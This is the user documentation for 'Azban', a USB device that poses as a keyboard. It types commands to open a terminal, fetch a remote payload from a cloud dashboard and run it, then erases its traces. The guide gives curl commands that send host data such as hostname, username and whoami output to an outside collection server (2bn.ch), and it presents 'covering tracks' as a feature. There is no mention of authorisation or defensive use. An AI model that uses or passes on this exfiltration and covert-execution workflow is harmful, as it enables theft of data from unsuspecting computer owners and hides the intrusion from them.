Introduction

If you are just discovering Azban, you have come to the right place. This page explains what Azban is, how it works and basic usage.

What is it?

Therefore, Azban is really two separate but complementary things:

• a small USB device
• a management dashboard

The dashboard, available at https://azban.ch/main, allows managing devices - configuring each device's payload and managing collected assets.

How it works

When plugged in, the Azban device presents itself to the host computer as a common USB keyboard.

It simulates keystrokes to open up a command-line terminal, download the payload (configured in the management dashboard), and run it.

Basic usage

Every Azban device is shipped with a QR code attached. The code represents a link to register the device.

Scanning this code will open a page from the management dashboard where (after logging in) the device can be registered with a custom name.

From this point, the device is identified as belonging to the user who registered it - only they can manage it.

First payload

Upon registering a new device, a default payload is configured which collects some basic assets from the host it's plugged into: the hostname, system version and name of the user currently logged in.

The payload is written as classic Bourne shell script.

Collecting assets

Other than automating actions on a computer, one of the main purposes of Azban is to collect data, referred to as assets.

Calling a specific URL allows the payload to push assets back to the dashboard. These assets are then available directly from the device's page in the dashboard.

Collecting assets is done by making HTTP requests to the 2bn.ch backend. Two forms are available, one using GET and the other using POST.

Simple form (GET)

The simplest option is to make an HTTP GET request to:

https://2bn.ch/str/{DEVICE_ID}/{ASSET_DATA}

An example of this using curl is shown below:

# Collect asset 'hello world'
curl https://2bn.ch/str/$DKEY/hello+world

Advanced form (POST)

For more advanced use cases (involving more data), an HTTP POST request with an str form-parameter can be made to

https://2bn.ch/str/{DEVICE_ID}

Examples of this using curl are shown below:

# Collect asset 'hello world'
curl -F 'str=hello world' https://2bn.ch/str/$DKEY

# Collect asset from variable '$my_variable'
curl -F "str=$my_variable" https://2bn.ch/str/$DKEY

# Collect asset from output of 'whoami' command
whoami | curl -F 'str=<-' https://2bn.ch/str/$DKEY

Limitations

Due to the nature of the Azban USB device, it is subject to limitations from the host computer it's plugged into.

Keyboard layout

Because Azban simulates keystrokes, it is dependent on the keyboard layout configured in the operating system of the host computer it's plugged into.

Plugging the device into a host configured with a somewhat "exotic" keyboard layout will produce unpredictable results.

However, Azban is smart enough to work around many "common" keyboard layouts.

So far, Azban is tested and known to work with the following layouts:

• US
• French
• Swiss
• Spanish
• German

Operating system

Azban also depends on its ability to successfully open a command-line terminal and run Curl.

While this works very well on Windows (since Windows 10), MacOS, and many Linux/UNIX-based desktop environments, it remains a "best effort" solution, with no guarantee whatsoever that it will work on a specific system.

Internet connectivity

Azban needs to fetch its payload from the cloud. Therefore, it requires the host computer to be connected to the internet.

Plugging the device into a computer with no internet access will fail to download the payload and therefore not be able to execute its actions.

Payload environment

Shell

The shell in which the payload runs is a classic Bourne shell.

This is not the same as Bash!

Why not Bash?

The point of Azban is to be able to run the same way on as many systems as possible.

Therefore, the lowest common denominator is the classic Bourne shell.

Only Windows-based systems require downloading it (which is taken care of by the bootstrap stage before the payload is actually run).

Environment

$DKEY

The $DKEY environment variable is set to the device key of the Azban device running the payload.

This allows calling the backend easily, for example to collect assets.

Clean-up

Azban does its best to cover its tracks.

After running the payload, it removes all traces from the filesystem.

The only exception to this is in Windows, where a binary executable cannot remove itself. Therefore, on Windows systems, the .r directory remains, containing only three files:

• sh.exe
• rm.exe
• cygwin1.dll